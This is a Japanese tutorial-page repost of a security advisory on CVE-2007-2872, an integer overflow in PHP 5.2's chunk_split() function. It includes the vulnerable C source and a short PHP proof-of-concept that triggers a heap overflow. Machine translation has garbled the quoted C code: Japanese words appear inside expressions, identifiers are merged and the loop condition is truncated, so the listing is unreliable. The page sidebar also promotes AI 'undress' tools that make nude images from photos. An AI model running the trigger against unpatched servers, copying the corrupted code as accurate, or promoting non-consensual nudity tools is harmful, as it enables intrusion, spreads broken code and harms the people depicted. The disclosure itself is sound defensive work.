PHP5.2 における chunk_split() 関数の整数オーバーフローの脆弱性の分析_PHP チュートリアル
影響を受けるシステム:
PHP PHP 影響を受けないシステム:
PHP PHP 5.2.3
説明:
---------------------- --- ----------------------------------------------- --- -----
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP は、人気のある WEB サーバーサイド プログラミング言語です。
PHP の chunk_split 関数には、不正なパラメータを処理する際の整数オーバーフローの脆弱性があり、ローカルの攻撃者がこの脆弱性を利用して権限を昇格させる可能性があります。
PHP の chunk_split 関数の 1963 行目は、関数の結果に十分なメモリ サイズを割り当てようとしますが、チェックを実行せずに srclen および chunklen パラメーター ブロックを使用します。値の block と endlen が 65534 バイトより大きい場合、整数オーバーフローがトリガーされ、間違ったメモリ サイズが割り当てられ、ヒープ オーバーフローが発生します。
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* チャンクが完了しました! */
1958 intrestlen;
1959
1960 chunks = srclen / chunklen;
1961restlen = srclen - chunks * chunklen; */
1962
1963 dest =safe_emalloc((srclen + (チャンク + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p 1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }
<*出典: ゲルハルト・ワーグナー
リンク: http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/ 5_2_3.php
http://secunia.com/advisories/25456/
*>
テスト方法:
------------------------ -------------------------------------------------- ------
警告
以下の手順 (方法) は攻撃的である可能性があり、セキュリティの研究と教育のみを目的としています。自己責任!
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>
提案:
----------------------------------------------------- --------------------------------------
メーカーパッチ:
PHP
---
現在、メーカーはこのセキュリティ問題を修正するためのアップグレード パッチをリリースしています。メーカーのホームページからダウンロードしてください:
http://www.php.net/downloads.php#v5
記事元: NSFOCUS Technology

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

ファイルのアップロードを行うには、フォーム ヘルパーを使用します。ここではファイルアップロードの例を示します。

CakePHP は、PHP 用のオープンソース フレームワークです。これは、アプリケーションの開発、展開、保守をより簡単にすることを目的としています。 CakePHP は、強力かつ理解しやすい MVC のようなアーキテクチャに基づいています。モデル、ビュー、コントローラー

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、
